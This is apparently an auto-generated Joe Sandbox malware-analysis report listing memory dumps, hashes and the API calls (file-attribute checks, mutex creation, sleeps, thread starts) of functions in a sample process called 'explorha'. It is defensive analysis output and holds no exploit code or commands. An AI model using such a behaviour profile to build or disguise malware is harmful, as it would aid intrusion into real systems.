Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 89f5e9a4a2ab252f0ee4c2ce7706b3dd5c1fbc57c59720e03029269ea7066cf9
Instruction ID: b299b09c5219ded8d871bd679f88209cf3513fa34ae741255600fe256ed785ab
Opcode Fuzzy Hash: 89f5e9a4a2ab252f0ee4c2ce7706b3dd5c1fbc57c59720e03029269ea7066cf9
Instruction Fuzzy Hash: 8B312C717002409BFB18DB7CCDC97AEB7A2EB85314F208619E456DB3D5CBB5D9808751

Uniqueness

Uniqueness Score: -1.00%

Function 00AD9EE8 Relevance: 4.6, APIs: 3, Instructions: 124sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00AD9EEB
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 33d5170096c254e23517ea6d90fa000a79cf68cf4aa96eafb4628bf4f6922c19
Instruction ID: 8535341b039cc973aa686f042f971488875a0e257a27d5ef56ffe3ee17b5663d
Opcode Fuzzy Hash: 33d5170096c254e23517ea6d90fa000a79cf68cf4aa96eafb4628bf4f6922c19
Instruction Fuzzy Hash: F3315CB17002008BEB18DB7CCD8579EBBB2EF85314F208659F056D73D5DBB599808751

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA01D Relevance: 4.6, APIs: 3, Instructions: 123sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00ADA020
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: c5fa36f649044caab693cf1af03682e565c245183faf713981fd0977c6f287df
Instruction ID: 5cabc62189f5f445fcadb512d29e3e329761a31215bc1f55ffe4e12d5ceb48ef
Opcode Fuzzy Hash: c5fa36f649044caab693cf1af03682e565c245183faf713981fd0977c6f287df
Instruction Fuzzy Hash: 4C318CB17001408BEB08DB7CCD897ADB7B2EF96314F208629E056D73D6CBB559808762

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA152 Relevance: 4.6, APIs: 3, Instructions: 122sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00ADA155
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: a68a5ce616f892b461ca2515b63f3bd567fde4acb80b3cabaa641f9f7783fc6e
Instruction ID: 5bcc757d00c80fe813f8da405a562f11ef685372f9b599067357991f07bf6d47
Opcode Fuzzy Hash: a68a5ce616f892b461ca2515b63f3bd567fde4acb80b3cabaa641f9f7783fc6e
Instruction Fuzzy Hash: 083158B17001409BEB18DB78CD897ADB7B2EB96314F208719E426DB3D2C7B59A80C752

Uniqueness

Uniqueness Score: -1.00%

Function 00ADA287 Relevance: 4.6, APIs: 3, Instructions: 121sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 00ADA28A
Sleep.KERNELBASE(000003E8), ref: 00ADA435
CreateMutexA.KERNELBASE(00000000,00000000,00B351D8), ref: 00ADA453

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: cbfc2703bfec68f821599b013e88a16ddda8a3e97406f4110dfa0f8d385ec28c
Instruction ID: 0b894e453af661b2b0da31c01c36acc577d0cf4f98b31be6c5ebe2b637276468
Opcode Fuzzy Hash: cbfc2703bfec68f821599b013e88a16ddda8a3e97406f4110dfa0f8d385ec28c
Instruction Fuzzy Hash: 903189B17002049BEB08DB7CCD897ADB7A3EB91314F208719E016DB3D1C7B599808752

Uniqueness

Uniqueness Score: -1.00%

Function 00AE8320 Relevance: 4.5, APIs: 3, Instructions: 21threadsleepCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00018200,00000000,00000000,00000000), ref: 00AE8336
CreateThread.KERNELBASE(00000000,00000000,Function_00018290,00000000,00000000,00000000), ref: 00AE8347
Sleep.KERNELBASE(00007530), ref: 00AE8355

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
